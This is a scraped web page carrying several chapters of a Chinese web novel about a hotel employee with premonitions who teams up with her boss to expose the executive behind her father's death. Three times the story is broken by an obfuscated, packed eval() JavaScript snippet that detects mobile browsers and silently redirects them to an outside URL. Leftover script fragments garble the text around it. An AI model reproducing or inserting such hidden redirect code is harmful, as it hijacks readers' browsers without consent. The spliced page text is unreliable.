寄宿学校的食堂只在固定时间开放，他吃不惯那些冷冰冰的三明治和沙拉，想吃口热的，就只能自己动手。 第一次做饭，他差点把厨房点了。 油烟冒起来的时候，他愣在那里，不知道该关火还是该浇水。 隔壁房间的印度大学生冲进来，一把关掉炉子，用带着口音的英语问他：“Areyoucrazy？” 他没疯，他只是饿。 父亲为了让他安心念书，给他租了个房子，他怕寂寞，把房子的一间租给了不受人待见的印度人。 那个印度人很好，不仅教他做咖喱，烤面包，还从网上搜来菜谱教他做炒饭和煮面。 慢慢地，他也能做出一桌能吃的饭菜了。 只是等他学会了，印度留学生也要回国了。 两人最后一次坐在餐厅里，端着盘子，看着异国的天空。 印度留学生说他之所以留学是为了回去继承父辈的企业，家乡也需要他出力，应景晟说他也是。 印度留学生笑了，说他一个小屁孩继承什么家业，先好好读书吧。 后来房间空了，他一个人住了好几年，没再租出去。 很多时候，他都一个人端着碗坐在窗边，看着窗外的天空，想象自己如果没出国，会在哪里，和谁一起吃饭。 他没跟任何人说过这些。 但现在，他有了听众。 大概是因为刚才听了赵思丽说的她小时候的故事，让他也回忆起了那些往事。 陶新柔站在他面前，听着他一字一句娓娓道来。 她本以为他是个养尊处优的少爷，却不曾想也有这样的故事。 陶新柔吃着，忽然想起什么：“你今天……帮我说话，会不会对你有影响？”她顿了顿，斟酌着措辞。 应景晟抬头看她，沉默了片刻才低下头去回答：“有。” 陶新柔心里一紧。 “但你是我的人。” 她愣住了。 应景晟咳嗽了一下，才继续说：“我是说，你是我手下的员工，我必须要保护好自己的员工。” 应景晟看着她，让她心跳漏了一拍。 “那个高总代表的是总部的意思，我今天如果顺着他的意思，把你推出去顶罪，那我以后在总部面前，就永远矮一头，何况，你没做错什么。” 陶新柔的脸瞬间红了，一股暖意从心底涌上来，她慌忙低头去搅动碗里的炒饭。 她怕她抬头，就藏不住眼里的那点热意。 客厅里很安静，只有窗外偶尔传来几声虫鸣。 “快吃吧，别把阿姨吵醒了。” 陶新柔“嗯”了一声，继续低头吃。 “陶新柔。” “嗯？” 他突然喊她的名字。 “这件事我一定会查清楚的。” 她抬头，对上他的目光。 “不管是那个老太太为什么没填过敏史，所有不对劲的地方，我都会查清楚。” 陶新柔看着他，忽然觉得眼眶有点酸。 她想说“谢谢”，也想说“辛苦小应总了”，或者其他什么感谢的话，但最后，她只是点了点头道：“好。” 我相信你。 相信所有的事情都会有真相大白的那天。 34. 第三十四章 第二天上午，果然没有人打电话来让陶新柔上班，她早就知道，不应该抱希望的，她就是被停职了。 她打开微信，想跟谁聊聊天，却发现想等的人没有发来消息，反倒是赵思丽和郑舒慧发来的慰问。 郑舒慧昨天值夜班，等她听说消息的时候，陶新柔还在睡梦中。 她的手机刚开机，就收到了一系列轰炸。 中午刚过，门铃就响了。 她走过去开门，郑舒慧站在门口，看到她，整个人瞬间抖了起来，声音带着鼻音：“新柔，我听说你的事了，他们怎么能这样……” 陶新柔愣了一下，赶紧拉她进来：“舒慧，你怎么来了？快进来。” 郑舒慧跟着她走进客厅，撇起嘴，脸色不太好：“我刚下班，就是想来看看你，你还好吗？” “我没事，你别担心。” 郑舒慧抬起头看她，眼眶又红了：“怎么会没事呢？他们怎么能这样，你明明什么都没做错。” 她说着，声音就开始发颤，像是拼命忍着才没让眼泪掉下来。 陶新柔心里一暖，握住她的手：“真的没事，正好趁这个机会休息几天，你别哭了，再哭我都要跟着哭了。” 郑舒慧吸了吸鼻子，用力点点头，挤出一个笑：“嗯，我不哭。可是这件事什么时候才会有结果，你不能一直这样被停职吧？” 陶新柔摇摇头：“肯定会有结果的，你别担心，小应总也在想办法。” 郑舒慧点点头：“小应总人真好，我相信他一定不会让你蒙冤的。” 她说着，目光无意识地扫过客厅。 陶新柔顺着她的视线看过去，是佛龛里，父亲的遗像。 郑舒慧回头震惊地问陶新柔：“新柔，这……是你爸爸？” 陶新柔点点头：“嗯。” “是他……原来是他，新柔，你怎么不早点告诉我，原来叔叔是你爸爸。”郑舒慧眼眶里有泪水在打转。 “舒慧，我不是故意瞒着你的，只是……” 郑舒慧点点头：“我知道了，新柔，我可以祭拜一下吗？” “当然可以。” 郑舒慧慢慢站起来，走近了几步，站在遗像前面，安安静静地看着，又烧了三支香。 她的眼眶又红了，开始喃喃自语： “我家条件一直不好，父母养着我们兄妹三个，我哥高中毕业就出去打工了，我姐很小就过继到别人家去了，爷爷奶奶身体不好，我爸我妈都要打好几份工，每天很晚才回家。那时候家里一天能吃上一顿饭都是奢侈，我也差点辍学了，后来听说学校有个助学项目，是云麓集团的，班主任要我去试试，我才成功拿到助学金，继续念了下去，所以我一直很珍惜这份机会，也很感谢资助我的陶叔叔。” “叔叔来学校的那天，我印象特别深，他穿着一件灰色的夹克，说话特别和气，他问我家里情况怎么样，学习累不累，还让我好好读书，以后有出息了回报社会，我那时候就想，等我工作了，一定要当面谢谢他。” 她低下头，擦了擦眼泪。 “现在我真的来云麓了，可是……” 可是叔叔已经不在了。 陶新柔看着她，心里被什么东西轻轻撞了一下，也跟着难受起来：“舒慧……” 郑舒慧抬起头，又觉得自己现在的状态不对，她赶紧调整好表情，努力挤出一个笑：“你看我，明明是来看你的，怎么自己哭成这样。” 她抬手擦眼泪，擦完了又去拉陶新柔的手：“新柔，叔叔是好人，他帮过那么多人，你也要好好的，别被这件事打倒，知道吗？” 陶新柔看着她那双真诚的眼睛，心里暖得发烫。 “我知道，谢谢你，舒慧。” “对了，我还想起来，后来叔叔来学校看望我们的时候，还有一个人也来过，是云麓那边的一个领导，”郑舒慧微微皱着眉，努力回忆，“穿得很正式，戴个金丝边的眼镜，说话也有点官腔，叔叔一直陪在他旁边，给他介绍项目情况。” 陶新柔心里咯噔一下：“谁？” “我想起来了，就是来过我们酒店几次的应副总，应怀山。” 应怀山！ 陶新柔的手指微微收紧。 又是应怀山，他跟父亲到底有怎样的联系？ 助学项目、父亲当年的工作、西南分公司的旧案、如今酒店里的阴谋…… 所有的线头，全都缠在了同一个人身上。 郑舒慧看着她忽然苍白的脸，问道：“新柔，我是不是不该说这些？” “不，谢谢你舒慧，你说的这些，对我很重要。” 正是这些零碎的事情，一点点拼出了当年的真相。 父亲不能白死，那些害他的人，也不能一直逍遥法外。 郑舒慧走后，陶新柔一个人在客厅里坐了很久。 窗外的阳光从西边斜斜地照进来，在地上投下一片暖黄的光。 父亲的遗像在光线里微微反光，那个温和的笑容像是在看她，又像是在看别的地方。 她一直看着那张照片，过了良久，脑子里还在反复想着郑舒慧说的话。 应怀山…… 他和父亲一起做慈善，一起做项目，一起去了西南分公司。 可后来呢？ 后来的三个月后，父亲出事。 而导致他出事的人，现在已然成了副总，在集团高高的位置上掌权，掌握着他人的人生。 上次查档的时候，陶新柔根本搜不到什么直接证据，只能查阅当时的相关资料。 她只知道，09年的时候，父亲似乎被委派了一个工程项目的监督，那个项目金额巨大，与父亲一起监督的还有一些人。 但这些人又要去哪里找，陶新柔根本没有思绪。 她顿时感觉自己只身一人，像漂浮在茫茫大海上。 而大海里会遇到吃人的鲨鱼还是能保命的船只，她根本不得而知。 她决定不能再坐以待毙了，她要主动出击！ 可她现在被停职了，什么也做不了，就算恢复了工作，或许仅凭她自己也很难查出真相。 她现在唯一能依靠的，就只剩应景晟了。 应景晟…… 每次浮现在她脑海里的，只有这一个名字。 但有什么办法，倘若她没有任何靠山，恐怕下一个出事的就会是她了。 她想明白了，向应景晟坦白一切。 * 陶新柔在客厅里等到了十点。 门锁响的时候，她正对着电视发呆，屏幕里演着什么完全没看进去。 应景晟推门进来，看到她还在客厅，脚步顿了一下。 “还没睡？” “嗯。”陶新柔按掉电视，“等你。” 应景晟换鞋的动作停了停，抬头看她。 陶新柔站起来，表情凝重：“有件事，我想跟你商量。” “什么？” “我想跟你合作。” “合作什么？”应景晟凝眉看着陶新柔。 陶新柔拢了拢耳边的头发，深吸一口气，和盘托出：“我想你应该知道了，我进入云麓，是为了调查我父亲的事情，而你，想调查你二伯，应怀山的事。” “你怎么知道？”应景晟太好奇了，他走过去问。 “因为我能看见未来，不止是你的，是所有人的未来。” 应景晟没说话，只是静静地看着她，似乎是想从她脸上看出些端倪。 陶新柔知道她说的话没有人会信，于是继续说道：“我知道你不会相信我说的话，但我确实可以看见，从你进入酒店的那一刻起，我就知道你会成为酒店的总裁。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17377673|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “所以这就是你一直害怕我的原因？”应景晟皱起眉头。 陶新柔忽然红了脸，她不是害怕，只是想查案。 “是，因为我想了解父亲的案子，但是又害怕你知道我在查。” 应景晟沉默了几秒，目光依然停留在她脸上，他似乎很感兴趣，坐到她身边。 “除了这个，你还看到过什么？” 陶新柔知道他不会轻易相信，换作是她，听到有人这么说，大概也会觉得对方疯了。 “那次李美丽陷害我，在你没来之前，我就看到过她会陷害我，还有前几天，我也看到了你。” “看到什么？”应景晟引导她说下去。 “看到你会找到我父亲的死亡证据。” 应景晟的眉头微微动了一下。 客厅里安静了几秒。 应景晟依然没说话，但陶新柔注意到，他看她的眼神变了，藏着一种深深的探寻。 “你不信，对吗？”她问。 “我想说不信，但是……” 陶新柔愣了一下。 “但不是因为你说的那些话。”他顿了顿才继续说，“是因为你刚才说，你知道我想要什么。” 陶新柔不知怎么接话，只等他继续说。 “我想调查应怀山的事，没有人知道，你是第一个亲口说出他的人。 “陶新柔，你果然很聪明。 “我想过很多，我想你是不是他身边的人，因为你的行为很奇怪，但你又很正义，从不屈服于他，张宏斌找过你的事，我已经知道了。” 陶新柔张了张嘴，想说什么，应景晟没给她机会，继续往下说。 “他让你盯着我，给他递消息，你没答应，所以那时候我就想，如果你真的是他那边的人，你早就答应了，你有一万个理由可以答应，为了升职，为了自保，为了查你父亲的事，但你没答应，所以我一直在找证据说服自己，我想相信你的证据。” “现在呢？”陶新柔问。 “现在，我相信了。” 他找到了答案。 陶新柔看着他眼睛，那眸光里露出来的是坚定的相信。 不是因为什么预知未来的能力，是因为她站在这里，在他面前，把最隐秘的事情说了出来。 “那你愿意跟我合作吗？”她问。 应景晟没有直接回答，而是反问：“你说你看到了我找到你父亲的死亡证据，是什么样的证据？” 陶新柔愣了一下，努力回忆那个画面。 “是……一份报告，我父亲当天的出车记录。” 应景晟点点头，他确实在让王安然查陶海振车祸的消息，但到目前为止，还没任何反馈。 “还有，我看到你让王安然去找一个老人，那个老人坦白了一些事，说这些事，压了十几年了。” 应景晟沉默了几秒，若有所思。 “什么样的老人？” “头发花白，戴着眼镜，拄着拐杖，腿脚不便，他家有个小院子，种着树开了花。” 她记不清了，那个画面闪过得太快，她只记住了这些细节。 应景晟沉默了很久。 久到陶新柔以为他不会说话了，他才开口：“西南分公司，有个老会计，当年经手过所有账目，后来提前退休了，回了老家。” 陶新柔心里一动，问：“真的有这个人？” 应景晟点点头：“是的，我让安然去找过他两次，每次都是闭门不见，如果你说的那些画面是真的，那这个李会计，会开口。” 陶新柔点点头：“他肯定会的。” “你这么笃定，我相信这件事有80%的机会。陶新柔，我没想到，你有这样的能力。” “那你愿意跟我合作查案吗？”她再次询问。 “当然愿意。”应景晟回应。 35. 第三十五章 应景晟终于找到了自己想要的答案，但说实话，他对陶新柔早就没了防备。 不知从什么时候起，他甚至对她有那么一丝心动。 或许是从他观察她的时候，发现了她的善良、单纯和可爱。 所以他才想冲在她身前，保护她。 满足他的要求和心愿。 他笑着，陶新柔也看向他，是回到当初见房荣时的模样。 时光凝固了片刻，还是应景晟先回过头，瞥向别处。 “你的能力还有谁知道？”应景晟问。 “我家亲戚都知道，不过那是小时候的事了，现在他们可能也不记得了。” “你怎么会有这样的能力？” “我也不知道，我小时候落过一次水，然后就有了预知能力，当时我也不信，后来一次次得到了验证，就不得不信了。” 她看到应景晟盯着她看了半晌，平淡如水的眸子里泛出一丝信任：“看来这是老天在帮你。” “我觉得也是吧。”陶新柔回应。 “下次不要告诉别人你有这个能力，如果是坏人，他完全有理由利用你干坏事。” 陶新柔点点头：“我知道，但我相信你不会。” 她看到应景晟的眸光微动，喉结滚动了一下，片刻后才说：“我希望这是最后一次你告诉其他人，不管你信不信任，但，我会保密的。” 陶新柔点点头回答：“好。” “早点休息吧，晚安。” 应景晟起身，回了房。 关上门的刹那，他第一次感觉到自己的脸颊是热的。 这个女孩，把她的软肋交给了他。 * 陶新柔被停职的消息很快传到了应怀山的耳朵里。 此刻他正翻看着被取出来的西南分公司账目，听着高部长的汇报。 “我们已经按照您的要求让城市酒店做出必要的解释和说明，现在酒店那边都乱成一锅粥了，我们还安排了一些人去酒店门口闹事。” 应怀山放下手里的文件，嘴角慢慢浮起一丝笑意：“小应总是什么反应？” “小应总在会议室里替她说了话，还特意来总部，但我已经与其余人打过招呼，他只得悻悻而归。” “很好，高达，你做的很好，不过……我那精明的侄子一定还会想到其他办法。” “是的，应总，刚才张宏斌传来消息，说小应总让酒店调监控和内测人员的资料，要求全面彻查这件事。” “查吧，让他查，总得把整件事查清楚了，才知道自己栽在哪里了。” 高达没有说话，点了点头便退了出去。 应怀山看着面前的一切，似是玩味地欣赏着自己下的一盘盛大的棋局。 “景晟啊景晟，你就算再怎么是老爷子看中的接班人选，但你也玩不过你二叔我，我走过的路比你吃过的盐还多。” 应怀山冷笑出声，眼神阴沉。 他要他知道，他以为是护着的那个小姑娘与自己作对，其实是在害他自己。 * 陶新柔停职的第五天，陶母终于看出了端倪。 早上，陶母看见陶新柔还穿着睡衣坐在沙发上，发出疑问：“小柔，你今天怎么也没去上班？你跟我说实话，你是不是被酒店裁员了？”她声音发颤，“妈就知道，不应该让你趟这浑水。” “妈，不是这么回事，我只是想多休息几天而已。” “你别撒谎了，妈看得出来，而且，你还没满一年，怎么可能会让你休那么长时间的假。” “怎么不行啊，我想休息一个月都可以呢，只要我不领工资就行，我们酒店可好了。”陶新柔说着，眼神飘向别处，又摸了摸鼻子。 “小柔，妈不怪你，你爸的事你也放下吧，只要咱们母女俩过得好，就比什么都好。还有，妈想清楚了，妈不想活得这么战战兢兢的，我今天就去跟那个小应总说清楚，咱家实在供不起他这尊大佛了，还是请他租别的房子吧。”说着，她撑着膝盖就要起身。 陶新柔一把拉住母亲的手臂：“妈，你别激动，我真的只是请假几天，什么事都没有。” “你别骗我了，你每次撒谎都不敢看我，你告诉妈，到底出什么事了？” 陶新柔看着母亲通红的眼眶，心里一阵发酸，只好和盘托出。 “好吧，妈，我是被停职了，但不是因为工作失误，是有人故意陷害我，不过这件事小应总已经在帮我查这件事了。” “他为什么要帮我们？”陶母不解。 “因为……因为他被家里人裹挟了，他现在已经是云麓酒店的经理了。” 陶母彻底愣住了。 “怎么会这么快？他都被发现了，住在我们这里合适吗？” “我也问过，但他要查案子，而且，他要查的案子，跟爸的案子有关系。” “有关系？” “是。”陶新柔不想先把应怀山的事告诉母亲。 然而，陶母的脸色却没有半分松懈，反而变得更紧张了：“小柔，你知不知道你在做什么？应家那些人，咱们惹不起的，你爸当年就是……” “妈，我当然知道我在做什么。”陶新柔打断陶母，“正是因为爸当年的事，我才不能停下来，应景晟手里有权限，有人脉，他能查到我查不到的东西，所以我需要他。” “小柔……” 陶新柔知道陶母担心的点在哪儿，她拉住母亲的手臂，笑着继续说：“妈，我知道您担心我，但是我已经长大了，这件事是我一直想做的，不然我心里过意不去。” 陶母看着她，眼泪终于掉下来：“妈怎么能不担心，妈就怕有个三长两短。” “没有万一。”陶新柔很坚定，“妈，你就相信我这一次，好不好？” 陶母看着她，看着这个从小就不让人操心的女儿，终于还是叹了口气，妥协地点了点头。 * 这几天晚餐，应景晟都没有回来吃，听说酒店因为那件事来了很多闹事者，大家都要加班。 陶新柔抬眼看了眼时钟，快11点了，她刚准备进去睡觉，就听见门锁有了响动。 是应景晟回来了。 “还没睡？” 陶新柔点点头：“睡不着。” 应景晟换了鞋走进来，领带松垮垮地挂在脖子上，衬衫袖口卷到小臂，看起来比上班时松散了一些。 他走过去，松弛地倒了杯水问：“还在想停职的事？” 陶新柔摇摇头，又点点头：“也不全是，就是在家里待着，什么事都做不了，有点……” “无聊？” “憋得慌。”她笑了笑，“感觉像被关在笼子里。” 应景晟没说话，只是看着她。 客厅里只开了一盏落地灯，光线暖黄，在他脸上落下一片柔和的阴影。 陶新柔被他看得有点不自在，随口找了个话题：“我听舒慧说酒店最近很忙，大家都要加班。” “嗯，有几个闹事者，一看就是受人之托，我怀疑是应怀山搞的鬼，但现在还没查清楚。” “那会把他们拘留吗？” 应景晟笑了笑：“倒没那么严重，等找到证据再说。” 两人沉默了一会儿。 “对了，明天我打算让安然再去找一下那个会计，你要不要跟着一起去？”应景晟很自然地把话题转移到了正事上。 陶新柔眼睛一亮：“明天？我……可以吗？”她犹豫了。 “当然可以，亲眼看看你眼中的未来，顺便去透透气。”应景晟笑着。 “好，我去。” 应景晟点点头，站起来。 “明天八点出发，早点睡。” 他往房间走，走了两步又停下。 “陶新柔。” “嗯？” “别想太多，有我在。” 说完，他便走进了房间。 留下的这句话，像是没有句号的延伸开。 一直伸展、伸展，伸展到她的心里，到那片潮湿柔软的心土里，变成了一颗种子，慢慢地扎了进去。 要发芽，又要隐匿。 她看着应景晟的房门，不知该说什么，该怎么想。 但是有一些莫名的坚信，在她的心里有了根。 * 两个小时的车程很快就抵达了他们要去的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17386361|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一路上，陶新柔一直在想，她真的能让那个老会计开口吗？又凭什么让老会计开口？ 这么想着，车子停在一个县城边的村子口。 “往前开不进去了，得走一段路。”王安然说道。 两人下车，沿着一条土路往里走。 路边是些老旧的民房，偶尔有几声狗吠。 陶新柔四处张望，心跳越来越快，这场景，跟她脑海里闪过的那个画面，有几分相似。 土路尽头，是一个院子。 院墙是红砖砌的，大门是铁皮焊的，已经生了锈。 门边种着一棵树，叶子落了大半，但花瓣还有些挂在枝头。 就是这里了。 王安然上前敲门。 “李会计，我们知道您在家，想跟您聊几句。” 门内没有任何反馈。 又敲了几次，仍旧没有人出来。 王安然回头看陶新柔，摇了摇头：“陶小姐，我跟小应总汇报一下，看来我们又白跑一趟了，实在抱歉。” 陶新柔点点头，跟着他转身往回走。 可每走一步，心里那股不甘就翻涌一次。 这是她第一次来，又或许是最后一次来，如果不带点什么回去，她怕再也没有机会了。 走到车边时，她终于决定了。 “王助理，我还想去试试。” 此刻，王安然已经在打电话汇报情况了。 陶新柔说完就折返回去。 她站在那扇锈迹斑斑的铁门前，笃定地敲门：“李叔叔，我叫陶新柔，我是陶海振的女儿，我想见见您，可以吗？” 果然，这话只会让里面的人更不敢开门。 可她偏偏要试一试。 “我爸十六年前在西南分公司出事，我和我妈没见过他最后一面，你知道我们这些年都是怎么过来的吗？” 她的声音有点抖，但她没停。 “我知道您认识他，我听说，当年他跟您最要好了，小时候他一直夸云麓，夸他的同事，说云麓是他一辈子的梦想，是他去的最正确的地方。” 她顿了顿。 “可是现在，云麓也是让他生命陨落的地方，也是让他的家庭陷入困境的地方，我知道您有很多话想说，但不敢说，可这么多年了，您真的能放得下心，让他就这么不明不白地离开吗？” 她的眼眶有点酸，但她忍着没让眼泪掉下来。 “我今天来找您是想了解真实情况，我想让我爸能真正地安心，也让您不再担惊受怕，我想，他跟您这么好，您一定不忍心让他蒙冤吧？” “李叔叔，倘若这件事发生在您身上，您的女儿或者儿子苦苦为您找寻真相，您也希望您的同事说出当年的实情吧？” 院子里依然安静，陶新柔又等了一会儿，才猜想这个李会计不会开门了。 看来她的预知画面要出错了。 她还是不甘心，走到一旁，想看看那个李会计会不会觉得他们走了就开了，但，根本没有任何动静。 约莫十几分钟后，王安然回来了，他说应景晟让他们还是回去吧，他们能想其他的办法。 但陶新柔却不想回去，她觉得真相就在门后，她不想错失这一墙之隔的机会。 “王助理，让我再试试好吗？” 王安然劝不住，陶新柔又继续敲门。 她沉声道：“李叔叔，您不想说没关系，只是我爸的故事，我想我可能永远都没办法知道了，我们以后也不会再来打扰您了，祝您身体健康，万事如意。” 陶新柔看着地上那片被风吹落一地的树叶，忽然觉得自己很可笑。 她凭什么觉得，自己这几句话就能让一个沉默了十六年的老人开口？ “陶小姐，我们走吧。” 陶新柔点点头，转身离开。 就在她转身的那一瞬间，身后传来一声沉闷的响动。 是门栓拉开的声音。 两人同时回头。 铁门开了一条缝，露出一张满是皱纹的脸。 老人戴着老花镜，头发花白，目光浑浊，但定定地落在陶新柔身上。 “孩子，你是海振的女儿？” 36. 第三十六章 陶新柔怔在原地，未来画面里的老人，此刻就出现在她眼前。 眼镜、拐杖、佝偻着背。 她有些激动，又有些感慨。 “叔叔，我是。” 老人盯着她，浑浊的眼睛里有什么东西在微微颤动。 “像，眼睛像，鼻子也像，你真像海振年轻时的样子。”老人声音沙哑，像是很久没开口说过话。 陶新柔的眼眶一下子红了。 王安然站在旁边，没有上前，只是默默往后退了两步，把空间留给他们。 老人看了一会儿，又抹了一把眼泪，然后侧开身子，让出一条路。 “进来吧。” 陶新柔怔了一下，回头看向王安然。 王安然喜出望外，对她点了点头，只是两人刚要进去，王安然就被拦在了门口。 “我只想跟她说说话。” 王安然不无意外，示意陶新柔进去，说自己出去打个电话。 她跨过那道生锈的铁门，走进了院子。 院子不大，却收拾得干净清爽。 一棵桃树立在中央，叶子落了大半，枝头挂着几个还未凋零的花瓣，没熟透的桃子瘪瘪地打蔫儿。 老人拄着拐杖，慢慢走到树下的藤椅前，坐下来。 陶新柔站在他面前，不知道该站还是该坐。 “坐吧。”老人指了指旁边的一个小凳子。 陶新柔坐下，两只手放在膝盖上，突然不知该从何说起。 老人看着她，眼神里满是欣慰。 “像，太像了，孩子你今年多大了？” “二十六。” 老人点点头，随后看向那棵树。 阳光透过树叶缝隙落下来，一地的斑驳照得人眼睛恍惚。 他闭上眼睛，良久都没有说话，只是随着藤椅缓缓摇了起来。 陶新柔以为等不到老人的后续，已经打量起院落时，老人又缓缓开口：“我最后一次见你爸，是那年开春。” “那天他来我办公室，拿着一份报表说，‘老李，这个账不对’。” “我当时没当回事，做账的嘛，哪年不碰上几笔对不上的。”老人睁开眼，看向远处，“可他说，这不是对不上的问题，是这个账，整笔整笔地往外走，走的都是空壳公司。” “然后呢？”陶新柔忍不住问。 “然后他报上去了，报到总经理那里，我还以为总经理会让我查清楚怎么回事，只是没想到，你爸就出事了。” “我当时就回忆起来是怎么回事了，但当时就我跟老陶两个人，我怕他们查到我，打击报复，所以我也不敢说，而且，也没人把这件事当回事，所以……我没细究。” 陶新柔的眼泪在眼眶中忍不住滚动起来。 老人看着她，浑浊的眼睛里也有了一些湿意。 “孩子，是我对不起你爸。”老人扭过头，眼眶里满是歉意，这么多年的愧疚在这一刻终于绷不住了，“当年我就心里有数，那一切，都是姓应的搞的鬼……” 陶新柔猛地抬起头，下意识问：“什么？您知道是应怀山？” 老人沉默了很久，却不明说，又像是终于卸下重担，叹了口气道：“事到如今，我也不想再瞒了，这么多年，我经常梦到你爸，梦到他冲我喊，‘老李，你这个账不对’，我总想说好，却说不出口……” * 车子驶出去很久，陶新柔的思绪还停留在老人的这番话里。 她早就做好了准备，拿出手机里的录音，她播放给王安然听。 “陶小姐，这次真是麻烦你了，我们拿到了有力的证据！”王安然的语气里难掩激动。 陶新柔却没有想象中的兴奋，只是看着窗外飞速倒退的风景，轻轻“嗯”了一声。 她终于知道父亲当年做了什么，也终于确认了是谁害了他。 可真相摆在眼前，她心里却沉甸甸的。 她只是一个被停职的普通员工，手里空有录音，又要怎么跟位高权重的应怀山对抗？ 可转念一想，她不是一个人，应景晟还在帮她。 车子驶回市区的时候，天已经黑了。 王安然把她送到小区门口，临走前说：“陶小姐，录音我会交给小应总，您今天辛苦了，早点休息。” 陶新柔点点头，下了车。 * 另一边，正在闭目养神的应怀山被开门声吓得惊醒，随之而来的是秘书严明急躁的声音：“应总，不好了！” “喊什么喊，什么事不好了？”应怀山从沙发上起身。 “李会计那边不好了，我们派的人今天跟踪王安然，他们又去找了李会计，但今天跟他一同前去的，还有陶新柔。” “什么？她为什么会跟着一起去？” “不清楚，但我们的人反馈说，他们敲了好几次门，李会计都没开，他们本来都想放弃了，但陶新柔又回去试了一番，李会计就让他们进去了。” “然后呢？”应怀山着急起来。 “然后……然后李会计就把一切实情都说出来了。” “什么？！”应怀山猛地一拳砸在桌面上，面色铁青，“这个老东西，活腻了是不是！” 他当即就要拨通内线，让人去处理李会计，可手刚碰到电话又猛地顿住。 这个节骨眼上只要一动，必定引火烧身。 他突然冷笑起来：“好一个应景晟，真是好手段，竟然用陶海振的女儿去打感情牌。” “应副总，我们这下该怎么办？” 应怀山站起身，转身看着窗外的景色，半晌没有说话。 他原本想逼退陶新柔，从而拆散两人的合作，没想到，反而给了两人机会。 那个李会计，他知道得太多了。 他儿子在城里买了房，孙子在国外读书，日子过得好好的，竟然为了十几年前的一件事，把这一切都搭进去。 应怀山想不明白，但他一定要让这个李会计付出代价！ 正当应怀山在想时，严明又汇报了第二件事：“应副总，还有一件事，酒店那边传来消息，说想为陶新柔复职，打算让监察部门介入这件事，而且，他们已经把调查出来的所有资料汇总准备给监察部门了，包括之前聚众闹事的那些人，他们也都查到了具体人员的身份背景，我把文件先拦下来了。” 应怀山立刻坐直身体，接过严明递过来的文件拧眉翻阅起来。 “好啊，我这个侄子可真是厉害，竟然想到从流程上走监察部门。” 他把文件往桌上一摔，靠在椅背上，脸色阴沉。 严明站在一旁，小心翼翼地问：“应副总，要不要我去打个招呼？” “打招呼？”应怀山冷笑一声，“你打什么招呼？人家把准备完整的调查资料都递上去了，你现在去打招呼，是想让人家把我也查一遍吗？” 严明不敢吭声了。 应怀山闭上眼睛，思索接下来的步骤。 他的确小看这个侄子了。 本以为应景晟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17396014|197298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会找老爷子求情、私下博弈，没想到他直接走监察流程，把整件事摆在台面上。 “他准备什么时候递材料？”应怀山问。 “今天下午。”严明答，“酒店那边还传话过来，说如果总部坚持维持原判，他们会申请监察部门调取投诉处理的全流程记录，以及相关人员的通讯记录。” 应怀山的眉头皱了起来。 查监控，查记录，查投诉处理的每一个环节，然后把所有材料打包，直接递到监察部门，质疑“总部处理不公”。 这每一招，狠就狠在，硬生生把他架了起来。 监察部门一旦监察调取通讯记录，他和沈老爷子的联系就全露馅了。 查到最后，只会有一个结果：老太太过敏是自身疏忽，陶新柔无责，总部的停职处理不当。 到时候，他不仅压不住陶新柔，总部还得背一个“滥用职权、打压员工”的名声。 权衡再三，他只能暂时退让：“让酒店给陶新柔复职吧。” 秘书一愣：“应副总，就这么算了？” “算了？当然不可能算了，我这是给监察部门面子，不是给他应景晟面子，要是人家真闹着这件事，我硬压着不放，是想让人家查我吗？” 严明点点头，转身出去安排了。 办公室里重新安静下来。 应怀山却不敢放松，他坐在办公桌前心潮翻涌。 应景晟这小子，不动声色，不亮底牌，暗戳戳地做了那么多事，就把他逼退了。 但这事，没完。 他拉开抽屉，拿出一个文件夹。 里面是一份旧档案，纸张已经泛黄，边角有些磨损，档案的封面上，写着一个名字——陶海振。 应怀山看着那个名字，冷笑出来。 只要这份档案一直在他这里，谁也查不出实质证据。 * 隔天，陶新柔正在帮母亲拖地，手机突然响了。 是魏浩打来的，她赶紧接起来：“魏主管。” “小陶啊，下周一来上班吧。” 陶新柔愣住了，她不可置信地问道：“什……什么？” “我说，你可以回来上班了，调查结果出来了，那个老太太的事跟你没关系，是活动流程上的疏忽，总部那边已经撤销对你的处理了。” 陶新柔有点激动，她双手握着手机再次核实：“真的？” “我还能骗你？不过有个事。” “您说。” “你得去探望一下那个老太太，毕竟是在酒店活动出的事，于情于理都要慰问一下，不是让你道歉，是代表酒店做个正式看望，送点慰问品，把这件事体面了结。” 陶新柔点点头道：“好。” “对了，小应总也跟你一起去。”魏浩顿了顿，又继续说，“一来这事是酒店活动，他作为总经理该出面；二来也是不放心你一个人过去，怕对方再借机做文章，你们一起去更稳妥。” “好。”陶新柔应声。 挂了电话，陶新柔站在原地，盯着手机发呆。 能让她回去上班，应景晟一定做了很大的努力。 